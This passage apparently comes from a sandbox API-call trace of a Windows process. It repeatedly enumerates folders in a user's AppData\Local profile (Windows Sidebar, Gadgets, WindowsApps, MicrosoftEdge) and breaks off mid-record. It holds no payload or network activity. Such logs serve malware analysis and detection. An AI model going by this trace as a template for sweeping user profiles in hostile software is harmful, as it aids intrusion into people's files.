ftCreationTime.dwLowDateTime=0x13b9f377, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x13b9f377, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x13b9f377, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="_09.sqm", cAlternateFileName="")) returned 0 [0180.021] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0180.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.022] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar", lpFilePart=0x0) returned 0x37 [0180.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0180.022] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar", lpFilePart=0x0) returned 0x37 [0180.022] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x306b22ce, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x306b22ce, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0180.022] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x306b22ce, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x306b22ce, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.023] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fa56c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0180.023] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3495bb0d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3495bb0d, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings (1).ini", cAlternateFileName="")) returned 1 [0180.023] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e344624, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x3e344624, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings (2).ini", cAlternateFileName="")) returned 1 [0180.023] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5f90064, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0180.023] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.023] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0180.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0180.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0180.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0180.023] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar", lpFilePart=0x0) returned 0x37 [0180.024] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x306b22ce, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x306b22ce, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0180.024] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x306b22ce, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x306b22ce, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.024] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fa56c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0180.024] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3495bb0d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3495bb0d, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings (1).ini", cAlternateFileName="")) returned 1 [0180.024] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e344624, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x3e344624, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x973d55c1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings (2).ini", cAlternateFileName="")) returned 1 [0180.024] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5f90064, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0180.025] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5f90064, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 0 [0180.025] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0180.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0180.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0180.025] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", lpFilePart=0x0) returned 0x3f [0180.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.025] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", lpFilePart=0x0) returned 0x3f [0180.025] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fa56c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0180.025] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fa56c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.026] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fa56c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.026] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0180.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.026] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets", lpFilePart=0x0) returned 0x3f [0180.026] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fa56c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0180.026] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fa56c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.027] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fa56c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.027] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0180.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.027] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0180.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0180.027] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0180.027] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0180.027] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.028] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.028] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0180.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0180.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0180.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0180.028] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0180.028] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f9d0 [0180.028] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.028] FindNextFileW (in: hFindFile=0x135f9d0, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.028] FindClose (in: hFindFile=0x135f9d0 | out: hFindFile=0x135f9d0) returned 1 [0180.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0180.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0180.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge", lpFilePart=0x0) returned 0x2b [0180.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0180.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge", lpFilePart=0x0) returned 0x2b [0180.029] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0180.029] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.029] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedCacheContainers", cAlternateFileName="SHARED~1")) returned 1 [0180.030] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1 [0180.030] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 0 [0180.030] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0180.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0180.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0180.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0180.030] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge", lpFilePart=0x0) returned 0x2b [0180.030] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0180.030] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.031] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92addfb1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92addfb1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedCacheContainers", cAlternateFileName="SHARED~1")) returned 1 [0180.031] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1 [0180.031] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fede0 | out: 